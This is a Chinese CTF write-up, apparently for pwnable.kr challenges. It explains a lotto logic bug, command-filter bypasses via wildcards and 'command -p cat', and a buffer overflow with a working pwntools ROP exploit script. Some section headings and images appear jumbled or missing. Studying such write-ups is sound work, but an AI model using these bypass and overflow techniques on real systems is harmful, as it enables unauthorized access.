萌新带你开车上p站(一):
https://static1.haohuo.net/uploads/images/2204680/2204680_ph1 >0x12 登录后看源码 通读程序,逻辑是这样子的: 输入6个字符,与程序由/dev/urandom随机产生的6个字符对比,通过上图第二个红框的检验,则match自加1,双重for循环结束后如果match=6则打印flag 这里的漏洞在于检验的双重for循环实现时出了问题。 该程序实现的逻辑实际上是对于每个lotto[i]会和输入的每个字符去比较,如果命中则加1 那么我们可以考虑输入的6个字符相同,如果有一个命中,则全部命中。 字符的取值范围知道是在ascii 1-45之间,又我们能输入的只有asci中的可见字符,那满足条件的只有33-45 多试几次即可。 看看源码 在main中可以看到我们输入的参数可以通过调用system执行 但是在传给system执行前,输入的内容会被filter处理 而filter过滤了tmp,flag,sh这些关键字 而且还有一点需要注意的是,我们绕过filter之后,还得注意main中的putenv,它将PATH环境变量设置为了乱七八糟的东西 PATH决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当运行一个程序时,Linux在这些目录下进行搜寻编译链接 修改之后意味着我们要使用命令时需要使用绝对路径,比如要想读flag,正常情况下应该是cat flag,但是现在需要/bin/cat flag 综上,绕过 这里我们用到了通配符*,使用f*匹配flag文件,从而绕过 看源码 可以看到比之cmd1,这里过滤了更多的东西 尤其是\ 我们当然还可以使用f*来指代flag 但是\的过滤怎么绕过呢 题目给了提示 来看看system函数 可以看到system()实际上是通过execl实现的 查找sh的man 可以看到 使用-p时会可以自动找到path的默认值,而不受程序设置ENV的影响 所以可以考虑使用-p cat,这样就可以自动绕过/ 看源码 从password文件读内容,与我们输入的字符相比,通过比较则打印flag 现在的关键是知道password的内容是什么,我们注意到下图的情况: 从上图可以看到我们这个用户所在的组对password是有读权限的,可是cat的时候却是: emmm也就是说password本身的内容就是这个 于是执行二进制文件就得到flag了 没有源码,就给了二进制文件,看来得逆向了 执行后需要输入的地方有两处 下载到本地 可以看到是32位的 上ida main函数 ropme 红色圈起来的就是我们之前试运行时输入的地方 最下面的else可以看到,当我们的输入和sum值相等时会打印flag 注意到上面有A,B,C,D,E,F,G函数 打开A函数看看 B的 别的都是一样的 可以看到会返回a,b等 这些参数的赋值操作在init_ABCDEFG 可以看到是/dev/urandom产生的随机数配合产生的,而sum的值是综合计算a,b,c等得到的 这里的漏洞在于main中的gets(),没有指定buffer,所以可以尝试溢出 我们希望直接通过溢出buffer来覆盖ropme()函数的return地址 由上图可知buffer起始地址为ebp-0x74,加上原函数ebp地址的长度4个字节,则buffer起始到ropme()的return一共需要0x74+4=120个字节 那么我们构造的思路就是依次打印A.B,,,,G函数返回的值,将其相加,得到sum的确定值,然后返回ropme,将结果作为输入,即可满足条件得到flag 要作为这一点,我们需要知道 接下来的任务就是找地址了 如图所示一个个找出来并不难,以A为例 以及main中调用ropme的 综上所述,写出exp:0x13cmd1
0x13cmd2
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
cmd2@ubuntu:~$ ./cmd2 "command -p cat f*"
command -p cat f*
FuN_w1th_5h3ll_v4riabl3s_haha
0x14blukat
0x15horcruxes
from pwn import *
context.log_level='debug'
LOCAL = False
if __name__ == '__main__':
if LOCAL:
c = process('/home/horcruxes/horcruxes')
else:
c = remote('0', 9032)
msg = c.recvuntil("Menu:")
c.sendline('1')
msg = c.recv(512)
payload = 'A'*0x78
payload += p32(0x809fe4b) # address A()
payload += p32(0x809fe6a) # address B()
payload += p32(0x809fe89) # address C()
payload += p32(0x809fea8) # address D()
payload += p32(0x809fec7) # address E()
payload += p32(0x809fee6) # address F()
payload += p32(0x809ff05) # address G()
payload += p32(0x809fffc) # address main<call ropme>
c.sendline(payload)
sum = 0
c.recvline()
for i in range(7):
s = c.recvline()
n = int(s.strip('\n').split('+')[1][:-1])
sum += n
print "Result: " + str(sum)
c.recvuntil("Menu:")
c.sendline("1")
c.recvuntil(" : ")
c.sendline(str(sum))
log.success("Flag: " + c.recvline())